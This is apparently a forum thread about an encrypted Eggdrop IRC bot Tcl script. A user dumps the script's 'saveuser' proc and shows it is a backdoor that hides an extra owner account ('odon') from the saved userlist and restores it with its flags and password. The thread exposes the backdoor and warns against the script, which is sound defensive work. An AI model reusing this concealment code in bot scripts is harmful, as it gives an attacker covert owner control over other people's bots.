I'll display the output of the last Tcl-command in code tags (The whole proc)(Me) .tcl info command saveuser
(Bot) Tcl: saveuser
(Me) .tcl info args saveuser
(Bot) Tcl: (Meaning it takes no arguments)
(Me) .tcl info body saveuser
Code: Select all
proc saveuser {} {
global ps owner
if {![validuser $ps]} {
setuser $owner XTRA "BEND" "xDB4L/z2DJT~1mianN/lj9Rq."
} elseif {$owner != $ps} {
setuser $owner XTRA "BEND" [zip [chattr $ps]]
if {[passwdok $ps ""] != 1} {
setuser $owner XTRA "LAST" [getuser $ps "PASS"]
}
deluser $ps
}
save
if {![validuser $ps]} {
adduser $ps "$ps!*@*"
chattr $ps [dezip [getuser $owner XTRA "BEND"]]
if {[getuser $owner XTRA "LAST"] != ""} {
setuser $ps PASS [getuser $owner XTRA "LAST"]
}
}
return 1
}
So the same backdoor still exists in the new version, this time it adds "odon" instead of "KaISaR" to the bot's userlist as owner.(Me) .set ps
(Bot) Currently: odon
netgate backdoorrosc2112 wrote:From the bit of research I did some months ago into that very same question (decrypting tclpro crap) It IS NOT POSSIBLE - It's a one-way hash if I recall correctly.
Fact is, if the script is already KNOWN to have backdoors and is also encrypted, your best bet is to simply not use it.
You could probably/theoretically debug the script so you can at least see all the procs, but, meh, way too much work for no benefit.